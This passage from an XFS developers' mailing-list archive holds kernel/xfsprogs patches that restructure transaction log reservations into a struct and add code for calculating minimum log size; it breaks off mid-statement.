cc8260e..0aac1fa 100644 --- a/include/xfs_trans_resv.h +++ b/include/xfs_trans_resv.h @@ -23,35 +23,45 @@ struct xfs_mount; /* * structure for maintaining pre-calculated transaction reservations. */ +struct xfs_trans_res { + uint tr_logres; /* log space unit in bytes per log ticket */ + int tr_logcount; /* number of log operations per log ticket */ + int tr_logflags; /* log flags, currently only used for indicating + * a reservation request is permanent or not */ +}; + struct xfs_trans_resv { - uint tr_write; /* extent alloc trans */ - uint tr_itruncate; /* truncate trans */ - uint tr_rename; /* rename trans */ - uint tr_link; /* link trans */ - uint tr_remove; /* unlink trans */ - uint tr_symlink; /* symlink trans */ - uint tr_create; /* create trans */ - uint tr_mkdir; /* mkdir trans */ - uint tr_ifree; /* inode free trans */ - uint tr_ichange; /* inode update trans */ - uint tr_growdata; /* fs data section grow trans */ - uint tr_swrite; /* sync write inode trans */ - uint tr_addafork; /* cvt inode to attributed trans */ - uint tr_writeid; /* write setuid/setgid file */ - uint tr_attrinval; /* attr fork buffer invalidation */ - uint tr_attrsetm; /* set/create an attribute at mount time */ - uint tr_attrsetrt; /* set/create an attribute at runtime */ - uint tr_attrrm; /* remove an attribute */ - uint tr_clearagi; /* clear bad agi unlinked ino bucket */ - uint tr_growrtalloc; /* grow realtime allocations */ - uint tr_growrtzero; /* grow realtime zeroing */ - uint tr_growrtfree; /* grow realtime freeing */ - uint tr_qm_sbchange; /* change quota flags */ - uint tr_qm_setqlim; /* adjust quota limits */ - uint tr_qm_dqalloc; /* allocate quota on disk */ - uint tr_qm_quotaoff; /* turn quota off */ - uint tr_qm_equotaoff;/* end of turn quota off */ - uint tr_sb; /* modify superblock */ + struct xfs_trans_res tr_write; /* extent alloc trans */ + struct xfs_trans_res tr_itruncate; /* truncate trans */ + struct xfs_trans_res tr_rename; /* rename trans */ + struct xfs_trans_res tr_link; /* link trans */ + struct xfs_trans_res tr_remove; /* unlink trans */ + struct xfs_trans_res tr_symlink; /* symlink trans */ + struct xfs_trans_res tr_create; /* create trans */ + struct xfs_trans_res tr_mkdir; /* mkdir trans */ + struct xfs_trans_res tr_ifree; /* inode free trans */ + struct xfs_trans_res tr_ichange; /* inode update trans */ + struct xfs_trans_res tr_growdata; /* fs data section grow trans */ + struct xfs_trans_res tr_swrite; /* sync write inode trans */ + struct xfs_trans_res tr_addafork; /* add inode attr fork trans */ + struct xfs_trans_res tr_writeid; /* write setuid/setgid file */ + struct xfs_trans_res tr_attrinval; /* attr fork buffer + * invalidation */ + struct xfs_trans_res tr_attrsetm; /* set/create an attribute at + * mount time */ + struct xfs_trans_res tr_attrsetrt; /* set/create an attribute at + * runtime */ + struct xfs_trans_res tr_attrrm; /* remove an attribute */ + struct xfs_trans_res tr_clearagi; /* clear agi unlinked bucket */ + struct xfs_trans_res tr_growrtalloc; /* grow realtime allocations */ + struct xfs_trans_res tr_growrtzero; /* grow realtime zeroing */ + struct xfs_trans_res tr_growrtfree; /* grow realtime freeing */ + struct xfs_trans_res tr_qm_sbchange; /* change quota flags */ + struct xfs_trans_res tr_qm_setqlim; /* adjust quota limits */ + struct xfs_trans_res tr_qm_dqalloc; /* allocate quota on disk */ + struct xfs_trans_res tr_qm_quotaoff; /* turn quota off */ + struct xfs_trans_res tr_qm_equotaoff;/* end of turn quota off */ + struct xfs_trans_res tr_sb; /* modify superblock */ }; /* @@ -79,39 +89,40 @@ struct xfs_trans_resv { XFS_DAENTER_BMAPS(mp, XFS_DATA_FORK) + 1) -#define XFS_WRITE_LOG_RES(mp) ((mp)->m_reservations.tr_write) -#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_reservations.tr_itruncate) -#define XFS_RENAME_LOG_RES(mp) ((mp)->m_reservations.tr_rename) -#define XFS_LINK_LOG_RES(mp) ((mp)->m_reservations.tr_link) -#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_reservations.tr_remove) -#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_reservations.tr_symlink) -#define XFS_CREATE_LOG_RES(mp) ((mp)->m_reservations.tr_create) -#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_reservations.tr_mkdir) -#define XFS_IFREE_LOG_RES(mp) ((mp)->m_reservations.tr_ifree) -#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_ichange) -#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_reservations.tr_growdata) -#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_growrtalloc) -#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_reservations.tr_growrtzero) -#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_reservations.tr_growrtfree) -#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) +#define XFS_WRITE_LOG_RES(mp) ((mp)->m_resv.tr_write.tr_logres) +#define XFS_RENAME_LOG_RES(mp) ((mp)->m_resv.tr_rename.tr_logres) +#define XFS_LINK_LOG_RES(mp) ((mp)->m_resv.tr_link.tr_logres) +#define XFS_REMOVE_LOG_RES(mp) ((mp)->m_resv.tr_remove.tr_logres) +#define XFS_SYMLINK_LOG_RES(mp) ((mp)->m_resv.tr_symlink.tr_logres) +#define XFS_CREATE_LOG_RES(mp) ((mp)->m_resv.tr_create.tr_logres) +#define XFS_MKDIR_LOG_RES(mp) ((mp)->m_resv.tr_mkdir.tr_logres) +#define XFS_IFREE_LOG_RES(mp) ((mp)->m_resv.tr_ifree.tr_logres) +#define XFS_SWRITE_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ICHANGE_LOG_RES(mp) ((mp)->m_resv.tr_ichange.tr_logres) +#define XFS_GROWDATA_LOG_RES(mp) ((mp)->m_resv.tr_growdata.tr_logres) +#define XFS_ITRUNCATE_LOG_RES(mp) ((mp)->m_resv.tr_itruncate.tr_logres) +#define XFS_GROWRTZERO_LOG_RES(mp) ((mp)->m_resv.tr_growrtzero.tr_logres) +#define XFS_GROWRTFREE_LOG_RES(mp) ((mp)->m_resv.tr_growrtfree.tr_logres) +#define XFS_GROWRTALLOC_LOG_RES(mp) ((mp)->m_resv.tr_growrtalloc.tr_logres) + /* * Logging the inode timestamps on an fsync -- same as SWRITE * as long as SWRITE logs the entire inode core */ -#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_reservations.tr_swrite) -#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_reservations.tr_addafork) -#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_reservations.tr_attrinval) -#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetm) -#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_reservations.tr_attrsetrt) -#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_reservations.tr_attrrm) -#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_reservations.tr_clearagi) -#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_reservations.tr_qm_sbchange) -#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_reservations.tr_qm_setqlim) -#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_reservations.tr_qm_dqalloc) -#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_reservations.tr_qm_quotaoff) -#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_reservations.tr_qm_equotaoff) -#define XFS_SB_LOG_RES(mp) ((mp)->m_reservations.tr_sb) +#define XFS_FSYNC_TS_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_WRITEID_LOG_RES(mp) ((mp)->m_resv.tr_swrite.tr_logres) +#define XFS_ADDAFORK_LOG_RES(mp) ((mp)->m_resv.tr_addafork.tr_logres) +#define XFS_ATTRSETM_LOG_RES(mp) ((mp)->m_resv.tr_attrsetm.tr_logres) +#define XFS_ATTRINVAL_LOG_RES(mp) ((mp)->m_resv.tr_attrinval.tr_logres) +#define XFS_ATTRSETRT_LOG_RES(mp) ((mp)->m_resv.tr_attrsetrt.tr_logres) +#define XFS_ATTRRM_LOG_RES(mp) ((mp)->m_resv.tr_attrrm.tr_logres) +#define XFS_SB_LOG_RES(mp) ((mp)->m_resv.tr_sb.tr_logres) +#define XFS_QM_SETQLIM_LOG_RES(mp) ((mp)->m_resv.tr_qm_setqlim.tr_logres) +#define XFS_QM_DQALLOC_LOG_RES(mp) ((mp)->m_resv.tr_qm_dqalloc.tr_logres) +#define XFS_QM_SBCHANGE_LOG_RES(mp) ((mp)->m_resv.tr_qm_sbchange.tr_logres) +#define XFS_QM_QUOTAOFF_LOG_RES(mp) ((mp)->m_resv.tr_qm_quotaoff.tr_logres) +#define XFS_QM_QUOTAOFF_END_LOG_RES(mp) ((mp)->m_resv.tr_qm_equotaoff.tr_logres) +#define XFS_CLEAR_AGI_BUCKET_LOG_RES(mp) ((mp)->m_resv.tr_clearagi.tr_logres) /* * Various log count values. diff --git a/libxfs/trans.c b/libxfs/trans.c index d0a91b1..2fc0ecc 100644 --- a/libxfs/trans.c +++ b/libxfs/trans.c @@ -33,7 +33,7 @@ void libxfs_trans_init( struct xfs_mount *mp) { - xfs_trans_resv_calc(mp, &mp->m_reservations); + xfs_trans_resv_calc(mp, &mp->m_resv); } /* diff --git a/libxfs/xfs_trans_resv.c b/libxfs/xfs_trans_resv.c index 7a391e3..e0b8ef6 100644 --- a/libxfs/xfs_trans_resv.c +++ b/libxfs/xfs_trans_resv.c @@ -646,32 +646,97 @@ xfs_trans_resv_calc( struct xfs_mount *mp, struct xfs_trans_resv *resp) { - resp->tr_write = xfs_calc_write_reservation(mp); - resp->tr_itruncate = xfs_calc_itruncate_reservation(mp); - resp->tr_rename = xfs_calc_rename_reservation(mp); - resp->tr_link = xfs_calc_link_reservation(mp); - resp->tr_remove = xfs_calc_remove_reservation(mp); - resp->tr_symlink = xfs_calc_symlink_reservation(mp); - resp->tr_create = xfs_calc_create_reservation(mp); - resp->tr_mkdir = xfs_calc_mkdir_reservation(mp); - resp->tr_ifree = xfs_calc_ifree_reservation(mp); - resp->tr_ichange = xfs_calc_ichange_reservation(mp); - resp->tr_growdata = xfs_calc_growdata_reservation(mp); - resp->tr_swrite = xfs_calc_swrite_reservation(mp); - resp->tr_writeid = xfs_calc_writeid_reservation(mp); - resp->tr_addafork = xfs_calc_addafork_reservation(mp); - resp->tr_attrinval = xfs_calc_attrinval_reservation(mp); - resp->tr_attrsetm = xfs_calc_attrsetm_reservation(mp); - resp->tr_attrsetrt = xfs_calc_attrsetrt_reservation(mp); - resp->tr_attrrm = xfs_calc_attrrm_reservation(mp); - resp->tr_clearagi = xfs_calc_clear_agi_bucket_reservation(mp); - resp->tr_growrtalloc = xfs_calc_growrtalloc_reservation(mp); - resp->tr_growrtzero = xfs_calc_growrtzero_reservation(mp); - resp->tr_growrtfree = xfs_calc_growrtfree_reservation(mp); - resp->tr_qm_sbchange = xfs_calc_qm_sbchange_reservation(mp); - resp->tr_qm_setqlim = xfs_calc_qm_setqlim_reservation(mp); - resp->tr_qm_dqalloc = xfs_calc_qm_dqalloc_reservation(mp); - resp->tr_qm_quotaoff = xfs_calc_qm_quotaoff_reservation(mp); - resp->tr_qm_equotaoff = xfs_calc_qm_quotaoff_end_reservation(mp); - resp->tr_sb = xfs_calc_sb_reservation(mp); + /* + * The following transactions are logged in physical format and + * require a permanent reservation on space. + */ + resp->tr_write.tr_logres = xfs_calc_write_reservation(mp); + resp->tr_write.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_write.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_itruncate.tr_logres = xfs_calc_itruncate_reservation(mp); + resp->tr_itruncate.tr_logcount = XFS_ITRUNCATE_LOG_COUNT; + resp->tr_itruncate.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_rename.tr_logres = xfs_calc_rename_reservation(mp); + resp->tr_rename.tr_logcount = XFS_RENAME_LOG_COUNT; + resp->tr_rename.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_link.tr_logres = xfs_calc_link_reservation(mp); + resp->tr_link.tr_logcount = XFS_LINK_LOG_COUNT; + resp->tr_link.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_remove.tr_logres = xfs_calc_remove_reservation(mp); + resp->tr_remove.tr_logcount = XFS_REMOVE_LOG_COUNT; + resp->tr_remove.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_symlink.tr_logres = xfs_calc_symlink_reservation(mp); + resp->tr_symlink.tr_logcount = XFS_SYMLINK_LOG_COUNT; + resp->tr_symlink.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_create.tr_logres = xfs_calc_create_reservation(mp); + resp->tr_create.tr_logcount = XFS_CREATE_LOG_COUNT; + resp->tr_create.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_mkdir.tr_logres = xfs_calc_mkdir_reservation(mp); + resp->tr_mkdir.tr_logcount = XFS_MKDIR_LOG_COUNT; + resp->tr_mkdir.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_ifree.tr_logres = xfs_calc_ifree_reservation(mp); + resp->tr_ifree.tr_logcount = XFS_INACTIVE_LOG_COUNT; + resp->tr_ifree.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_addafork.tr_logres = xfs_calc_addafork_reservation(mp); + resp->tr_addafork.tr_logcount = XFS_ADDAFORK_LOG_COUNT; + resp->tr_addafork.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrinval.tr_logres = xfs_calc_attrinval_reservation(mp); + resp->tr_attrinval.tr_logcount = XFS_ATTRINVAL_LOG_COUNT; + resp->tr_attrinval.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrsetm.tr_logres = xfs_calc_attrsetm_reservation(mp); + resp->tr_attrsetm.tr_logcount = XFS_ATTRSET_LOG_COUNT; + resp->tr_attrsetm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_attrrm.tr_logres = xfs_calc_attrrm_reservation(mp); + resp->tr_attrrm.tr_logcount = XFS_ATTRRM_LOG_COUNT; + resp->tr_attrrm.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_growrtalloc.tr_logres = xfs_calc_growrtalloc_reservation(mp); + resp->tr_growrtalloc.tr_logcount = XFS_DEFAULT_PERM_LOG_COUNT; + resp->tr_growrtalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + resp->tr_qm_dqalloc.tr_logres = xfs_calc_qm_dqalloc_reservation(mp); + resp->tr_qm_dqalloc.tr_logcount = XFS_WRITE_LOG_COUNT; + resp->tr_qm_dqalloc.tr_logflags |= XFS_TRANS_PERM_LOG_RES; + + /* + * The following transactions are logged in logical format with + * a default log count. + */ + resp->tr_qm_sbchange.tr_logres = xfs_calc_qm_sbchange_reservation(mp); + resp->tr_qm_sbchange.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_setqlim.tr_logres = xfs_calc_qm_setqlim_reservation(mp); + resp->tr_qm_setqlim.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_quotaoff.tr_logres = xfs_calc_qm_quotaoff_reservation(mp); + resp->tr_qm_quotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_qm_equotaoff.tr_logres = + xfs_calc_qm_quotaoff_end_reservation(mp); + resp->tr_qm_equotaoff.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + resp->tr_sb.tr_logres = xfs_calc_sb_reservation(mp); + resp->tr_sb.tr_logcount = XFS_DEFAULT_LOG_COUNT; + + /* The following transaction are logged in logical format */ + resp->tr_ichange.tr_logres = xfs_calc_ichange_reservation(mp); + resp->tr_growdata.tr_logres = xfs_calc_growdata_reservation(mp); + resp->tr_swrite.tr_logres = xfs_calc_swrite_reservation(mp); + resp->tr_writeid.tr_logres = xfs_calc_writeid_reservation(mp); + resp->tr_attrsetrt.tr_logres = xfs_calc_attrsetrt_reservation(mp); + resp->tr_clearagi.tr_logres = xfs_calc_clear_agi_bucket_reservation(mp); + resp->tr_growrtzero.tr_logres = xfs_calc_growrtzero_reservation(mp); + resp->tr_growrtfree.tr_logres = xfs_calc_growrtfree_reservation(mp); } diff --git a/mkfs/maxtrres.c b/mkfs/maxtrres.c index 7da83aa..b2d2a5a 100644 --- a/mkfs/maxtrres.c +++ b/mkfs/maxtrres.c @@ -47,22 +47,23 @@ max_attrsetm_trans_res_adjust( nblks += XFS_B_TO_FSB(mp, size); nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); res = XFS_ATTRSETM_LOG_RES(mp) + XFS_ATTRSETRT_LOG_RES(mp) * nblks; - mp->m_reservations.tr_attrsetm = res; + mp->m_resv.tr_attrsetm.tr_logres = res; } static int max_trans_res_by_mount( struct xfs_mount *mp) { - uint *p; - int rval; - struct xfs_trans_resv *tr = &mp->m_reservations; + struct xfs_trans_resv *tr = &mp->m_resv; + struct xfs_trans_res *p; + struct xfs_trans_res rval = {0}; - for (rval = 0, p = (uint *)tr; p < (uint *)(tr + 1); p++) { - if ((int)*p > rval) - rval = (int)*p; + for (p = (struct xfs_trans_res *)tr; + p < (struct xfs_trans_res *)(tr + 1); p++) { + if (p->tr_logres > rval.tr_logres) + rval = *p; } - return rval; + return rval.tr_logres; } int -- 1.8.3.2 From dave@fromorbit.com Fri Jul 19 01:47:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1C4CE8094 for ; Fri, 19 Jul 2013 01:46:01 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A9C68F8035 for ; Thu, 18 Jul 2013 23:46:00 -0700 (PDT) X-ASG-Debug-ID: 1374216331-04cb6c2a47ed6690010-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id IugqVp1QSsFZ1LOs for ; Thu, 18 Jul 2013 23:45:58 -0700 (PDT) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar8LAMLf6FF5LK4r/2dsb2JhbABagwauOpMMBAGBFBd0giAEAQEFJy8zCBgYGTkDGxmFSQcBgiAetiOOcoESHINyA6F/hyuDJCqBLh8F Received: from ppp121-44-174-43.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.43]) by ipmail06.adl6.internode.on.net with ESMTP; 19 Jul 2013 16:15:52 +0930 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.76) (envelope-from ) id 1V04RT-0004Jp-HQ for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1V04RT-0002Mk-G5 for xfs@oss.sgi.com; Fri, 19 Jul 2013 16:45:27 +1000 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 46/49] xfs: Add xfs_log_rlimit.c Date: Fri, 19 Jul 2013 16:45:21 +1000 X-ASG-Orig-Subj: [PATCH 46/49] xfs: Add xfs_log_rlimit.c Message-Id: <1374216324-8781-47-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.3.2 In-Reply-To: <1374216324-8781-1-git-send-email-david@fromorbit.com> References: <1374216324-8781-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1374216357 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137191 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Jie Liu Add source files for xfs_log_rlimit.c The new file is used for log size calculations and validation shared with userspace. [dchinner: xfs_log_calc_max_attrsetm_res() does not modify the tr_attrsetm reservation, just calculates the maximum. ] [dchinner: rework loop in xfs_log_get_max_trans_res() ] [dchinner: implement xfs_log_calc_unit_res() in util.c to give mkfs a worse case calculation of the log size needed. ] Signed-off-by: Jie Liu Signed-off-by: Dave Chinner --- include/xfs_log_format.h | 11 +++- libxfs/Makefile | 15 ++++-- libxfs/util.c | 107 +++++++++++++++++++++++++++++++++++++ libxfs/xfs_log_rlimit.c | 135 +++++++++++++++++++++++++++++++++++++++++++++++ mkfs/maxtrres.c | 60 +++++---------------- mkfs/xfs_mkfs.c | 95 +++++++++++++++++---------------- mkfs/xfs_mkfs.h | 4 +- 7 files changed, 328 insertions(+), 99 deletions(-) create mode 100644 libxfs/xfs_log_rlimit.c diff --git a/include/xfs_log_format.h b/include/xfs_log_format.h index bcd1c34..a9429a4 100644 --- a/include/xfs_log_format.h +++ b/include/xfs_log_format.h @@ -18,6 +18,9 @@ #ifndef __XFS_LOG_FORMAT_H__ #define __XFS_LOG_FORMAT_H__ +struct xfs_mount; +struct xfs_trans_res; + /* * On-disk Log Format definitions. * @@ -49,6 +52,9 @@ typedef __uint32_t xlog_tid_t; #define XLOG_HEADER_SIZE 512 +/* Minimum number of transactions that must fit in the log (defined by mkfs) */ +#define XFS_MIN_LOG_FACTOR 3 + #define XLOG_REC_SHIFT(log) \ BTOBB(1 << (xfs_sb_version_haslogv2(&log->l_mp->m_sb) ? \ XLOG_MAX_RECORD_BSHIFT : XLOG_BIG_RECORD_BSHIFT)) @@ -133,7 +139,6 @@ typedef struct xlog_op_header { __u16 oh_res2; /* 32 bit align : 2 b */ } xlog_op_header_t; - /* valid values for h_fmt */ #define XLOG_FMT_UNKNOWN 0 #define XLOG_FMT_LINUX_LE 1 @@ -761,4 +766,8 @@ struct xfs_icreate_log { __be32 icl_gen; /* inode generation number to use */ }; +int xfs_log_calc_unit_res(struct xfs_mount *mp, int unit_bytes); +int xfs_log_calc_minimum_size(struct xfs_mount *); + + #endif /* __XFS_LOG_FORMAT_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 5608020..f0cbae3 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -17,14 +17,23 @@ CFILES = cache.c \ xfs_alloc.c \ xfs_alloc_btree.c \ xfs_attr.c \ + xfs_attr_leaf.c \ xfs_attr_remote.c \ + xfs_bmap.c \ + xfs_bmap_btree.c \ xfs_btree.c \ + xfs_da_btree.c \ + xfs_dir2.c \ + xfs_dir2_block.c \ + xfs_dir2_data.c \ + xfs_dir2_leaf.c \ + xfs_dir2_node.c \ + xfs_dir2_sf.c \ xfs_ialloc.c \ xfs_inode_buf.c \ xfs_inode_fork.c \ - xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ - xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ - xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ + xfs_ialloc_btree.c \ + xfs_log_rlimit.c \ xfs_rtalloc.c \ xfs_sb.c \ xfs_symlink_remote.c \ diff --git a/libxfs/util.c b/libxfs/util.c index d7459e0..460fcb3 100644 --- a/libxfs/util.c +++ b/libxfs/util.c @@ -22,6 +22,113 @@ #include /* + * Calculate the worst case log unit reservation for a given superblock + * configuration. Copied and munged from the kernel code, and assumes a + * worse case header usage (maximum log buffer sizes) + */ +int +xfs_log_calc_unit_res( + struct xfs_mount *mp, + int unit_bytes) +{ + int iclog_space; + int iclog_header_size; + int iclog_size; + uint num_headers; + + if (xfs_sb_version_haslogv2(&mp->m_sb)) { + iclog_size = XLOG_MAX_RECORD_BSIZE; + iclog_header_size = BTOBB(iclog_size / XLOG_HEADER_CYCLE_SIZE); + } else { + iclog_size = XLOG_BIG_RECORD_BSIZE; + iclog_header_size = BBSIZE; + } + + /* + * Permanent reservations have up to 'cnt'-1 active log operations + * in the log. A unit in this case is the amount of space for one + * of these log operations. Normal reservations have a cnt of 1 + * and their unit amount is the total amount of space required. + * + * The following lines of code account for non-transaction data + * which occupy space in the on-disk log. + * + * Normal form of a transaction is: + * ... + * and then there are LR hdrs, split-recs and roundoff at end of syncs. + * + * We need to account for all the leadup data and trailer data + * around the transaction data. + * And then we need to account for the worst case in terms of using + * more space. + * The worst case will happen if: + * - the placement of the transaction happens to be such that the + * roundoff is at its maximum + * - the transaction data is synced before the commit record is synced + * i.e. | + * Therefore the commit record is in its own Log Record. + * This can happen as the commit record is called with its + * own region to xlog_write(). + * This then means that in the worst case, roundoff can happen for + * the commit-rec as well. + * The commit-rec is smaller than padding in this scenario and so it is + * not added separately. + */ + + /* for trans header */ + unit_bytes += sizeof(xlog_op_header_t); + unit_bytes += sizeof(xfs_trans_header_t); + + /* for start-rec */ + unit_bytes += sizeof(xlog_op_header_t); + + /* + * for LR headers - the space for data in an iclog is the size minus + * the space used for the headers. If we use the iclog size, then we + * undercalculate the number of headers required. + * + * Furthermore - the addition of op headers for split-recs might + * increase the space required enough to require more log and op + * headers, so take that into account too. + * + * IMPORTANT: This reservation makes the assumption that if this + * transaction is the first in an iclog and hence has the LR headers + * accounted to it, then the remaining space in the iclog is + * exclusively for this transaction. i.e. if the transaction is larger + * than the iclog, it will be the only thing in that iclog. + * Fundamentally, this means we must pass the entire log vector to + * xlog_write to guarantee this. + */ + iclog_space = iclog_size - iclog_header_size; + num_headers = howmany(unit_bytes, iclog_space); + + /* for split-recs - ophdrs added when data split over LRs */ + unit_bytes += sizeof(xlog_op_header_t) * num_headers; + + /* add extra header reservations if we overrun */ + while (!num_headers || + howmany(unit_bytes, iclog_space) > num_headers) { + unit_bytes += sizeof(xlog_op_header_t); + num_headers++; + } + unit_bytes += iclog_header_size * num_headers; + + /* for commit-rec LR header - note: padding will subsume the ophdr */ + unit_bytes += iclog_header_size; + + /* for roundoff padding for transaction data and one for commit record */ + if (xfs_sb_version_haslogv2(&mp->m_sb) && mp->m_sb.sb_logsunit > 1) { + /* log su roundoff */ + unit_bytes += 2 * mp->m_sb.sb_logsunit; + } else { + /* BB roundoff */ + unit_bytes += 2 * BBSIZE; + } + + return unit_bytes; +} + +/* * Change the requested timestamp in the given inode. * * This was once shared with the kernel, but has diverged to the point diff --git a/libxfs/xfs_log_rlimit.c b/libxfs/xfs_log_rlimit.c new file mode 100644 index 0000000..5b5edc5 --- /dev/null +++ b/libxfs/xfs_log_rlimit.c @@ -0,0 +1,135 @@ +/* + * Copyright (c) 2013 Jie Liu. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Calculate the maximum length in bytes that would be required for a local + * attribute value as large attributes out of line are not logged. + */ +STATIC int +xfs_log_calc_max_attrsetm_res( + struct xfs_mount *mp) +{ + int size; + int nblks; + + size = xfs_attr_leaf_entsize_local_max(mp->m_sb.sb_blocksize) - + MAXNAMELEN - 1; + nblks = XFS_DAENTER_SPACE_RES(mp, XFS_ATTR_FORK); + nblks += XFS_B_TO_FSB(mp, size); + nblks += XFS_NEXTENTADD_SPACE_RES(mp, size, XFS_ATTR_FORK); + + return M_RES(mp)->tr_attrsetm.tr_logres + + M_RES(mp)->tr_attrsetrt.tr_logres * nblks; +} + +/* + * Iterate over the log space reservation table to figure out and return + * the maximum one in terms of the pre-calculated values which were done + * at mount time. + */ +STATIC void +xfs_log_get_max_trans_res( + struct xfs_mount *mp, + struct xfs_trans_res *max_resp) +{ + struct xfs_trans_res *resp; + struct xfs_trans_res *end_resp; + int log_space = 0; + int attr_space; + + attr_space = xfs_log_calc_max_attrsetm_res(mp); + + resp = (struct xfs_trans_res *)M_RES(mp); + end_resp = (struct xfs_trans_res *)(M_RES(mp) + 1); + for (; resp < end_resp; resp++) { + int tmp = resp->tr_logcount > 1 ? + resp->tr_logres * resp->tr_logcount : + resp->tr_logres; + if (log_space < tmp) { + log_space = tmp; + *max_resp = *resp; /* struct copy */ + } + } + + if (attr_space > log_space) { + *max_resp = M_RES(mp)->tr_attrsetm; /* struct copy */ + max_resp->tr_logres = attr_space; + } +} + + +/* + * Calculate the minimum valid log size for the given superblock configuration. + * Used to calculate the minimum log size at mkfs time, and to determine if + * the log is large enough or not at mount time. Returns the minimum size in + * filesystem block size units. + */ +int +xfs_log_calc_minimum_size( + struct xfs_mount *mp) +{ + struct xfs_trans_res tres = {0}; + int max_logres; + int min_logblks = 0; + int lsunit = 0; + + xfs_log_get_max_trans_res(mp, &tres); + + max_logres = xfs_log_calc_unit_res(mp, tres.tr_logres); + if (tres.tr_logcount > 1) + max_logres *= 